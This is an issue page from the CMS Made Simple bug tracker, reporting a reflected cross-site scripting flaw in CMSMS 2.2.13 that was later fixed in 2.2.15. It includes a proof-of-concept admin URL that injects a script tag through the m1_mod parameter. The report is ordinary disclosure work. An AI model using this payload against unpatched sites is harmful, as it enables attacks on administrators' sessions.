

Language:     

[CMSMS](#) | [CMS Made Simple](#)

- [1: Home](#)
- [2: About](#)
 - [2.1: About Us](#)
 - [2.3: Testimonials](#)
 - [2.4: Merchandise](#)
 - [2.5: Donations](#)
 - [2.7: About This Website](#)
 - [2.8: Sitemap](#)
- [3: Downloads](#)
 - [3.1: File Releases](#)
 - [3.2: Demo](#)
 - [3.3: CMSms Themes Site](#)
 - [3.4: Modules](#)
 - [3.5: Tags](#)
- [5: Support](#)
 - [5.1: Documentation](#)
 - [5.2: FAQ](#)
 - [5.3: Blog](#)
 - [5.4: IRC](#)
 - [5.5: Participate](#)
 - [5.6: Report Bug or Feature Request](#)
 - [5.7: Mailing Lists](#)
 - [5.9: CMS Made Simple Hosting](#)
 - [5.10: Professional Services](#)
 - [5.11: Commercial License](#)
- [6: Forum](#)
 - [6.1: Rules](#)
 - [6.2: Announcements](#)
- [7: Development](#)
 - [7.1: Roadmap](#)
 - [7.3: CMSMS Forge](#)
 - [7.5: Translationcenter](#)

CMS MADE SIMPLE FORGE

CMS Made Simple Core

- [Summary](#)
- [Files](#)
- [Bug Tracker](#)
- [Feature Requests](#)
- [Code](#)

- [Forge Home](#)
- [Project List](#)
- [Recent Changes](#)

-  [Login](#)

 [Back to List](#)

[#12291] Reflected Cross site scripting



Created By: Jyoti Raval ([jgyraval](#))

Date Submitted: Mon Apr 13 02:33:52 -0400 2020

Assigned To: Ruud van der Velden ([ruudvldelden](#))

Version: 2.2.13

CMSMS Version: 2.2.13

Severity: Major

Resolution: Fixed

State: Closed

Summary:

Reflected Cross site scripting

Detailed Description:

Whenever end user fires below request:

```
http://yourip/cmsms_2.2.13/admin/moduleinterface.php?mact=ModuleManager%2cm1_%2clocal_uninstall%2c0&__c=e3e96bbe8131785df6a&ml_mod=AdminSearchu8r90%3cscript%3ealert(1)%3c%2fscript%3ez6a0c
```

Application will first redirect to login. But once we login again, we will see that script is executed on the browser and vulnerability is exploited.

Do let me know if step-by-step screenshots are needed.

History

Comments



Date: 2020-09-18 11:57

Posted By: Ruud van der Velden ([ruudvldelden](#))

Fixed in svn (2.2.15)

Thank you for reporting.



Date: 2020-11-03 14:24
Posted By: Rolf ([rolf1](#))

CMSMS 2.2.15 has been released

Updates

Updated: 2020-11-03 14:24
state: Open => Closed

Updated: 2020-09-18 11:57
resolution_id: 5 => 7
assigned_to_id: 100 => 18365

Updated: 2020-04-13 02:47

description: Whenever end user fires below request: [http://yourip/cmsms_2.2.14/admin/moduleinterface.php?mact=ModuleManager%2cm1_%2clocal_uninstall%2c0&__c=e3e96bbe8131785df6a&m1_mod=AdminSearchu8r90%3cscript%3ealert\(1\)%3c%2fscript%3ez6a0c](http://yourip/cmsms_2.2.14/admin/moduleinterface.php?mact=ModuleManager%2cm1_%2clocal_uninstall%2c0&__c=e3e96bbe8131785df6a&m1_mod=AdminSearchu8r90%3cscript%3ealert(1)%3c%2fscript%3ez6a0c) Application will first => Whenever end user fires below

request: [http://yourip/cmsms_2.2.13/admin/moduleinterface.php?mact=ModuleManager%2cm1_%2clocal_uninstall%2c0&__c=e3e96bbe8131785df6a&m1_mod=AdminSearchu8r90%3cscript%3ealert\(1\)%3c%2fscript%3ez6a0c](http://yourip/cmsms_2.2.13/admin/moduleinterface.php?mact=ModuleManager%2cm1_%2clocal_uninstall%2c0&__c=e3e96bbe8131785df6a&m1_mod=AdminSearchu8r90%3cscript%3ealert(1)%3c%2fscript%3ez6a0c) Application will first

Updated: 2020-04-13 02:47
version_id: 31720 => 31698
resolution_id: => 5
cmsms_version_id: 31720 => 31698

- [1: Home](#)
- [2: About](#)
- [3: Downloads](#)
- [5: Support](#)
- [6: Forum](#)
- [7: Development](#)

CMS made simple is Free software under the GNU/GPL licence.

Website designed by [Steve Sicherman](#)